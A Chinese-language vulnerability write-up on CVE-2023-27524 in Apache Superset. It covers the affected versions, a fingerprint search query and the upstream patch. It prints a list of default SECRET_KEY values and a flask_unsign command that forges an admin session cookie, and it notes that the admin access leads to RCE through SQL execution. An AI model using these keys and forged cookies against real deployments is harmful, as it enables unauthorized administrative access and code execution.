Apache Superset SECRET_KEY 未授权访问漏洞 CVE-2023-27524
2023-4-30 22:40:55 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏

漏洞描述

Apache Superset 是一款现代化的开源大数据工具,也是企业级商业智能 Web 应用,用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器,用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中,未经授权的攻击者可根据默认配置的SECRET_KEY伪造成管理员用户访问Apache Superset。

漏洞影响

Apache Superse <= 2.0.1

网络测绘

app.name="Apache Superset"

漏洞复现

登陆页面

漏洞修复补丁

https://github.com/apache/superset/pull/23186/files

补丁代码中,新建了判断用户是否使用了默认的Key进行配置,如果为默认的Key,就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST_NON_DEV_SECRET

# https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py
SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

这里拿Docker下的环境举例

初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造

登陆主页面观察主要参数

通过设置参数 user_id 和 _user_id 为 1 ,构造加密Cookie

>>> from flask_unsign import session
>>> session.sign({'_user_id': 1, 'user_id': 1},'TEST_NON_DEV_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8'

利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块,通过设置允许执行其他数据库语句后利用数据库语句 RCE

关注公众号

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247493755&idx=1&sn=37a32e87993577de96296e3d7bbfda38&chksm=cecc4022f9bbc934df957fd7cf055aca077c028ddbe4dccfd2f7464adde5155944b99d0008e3&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh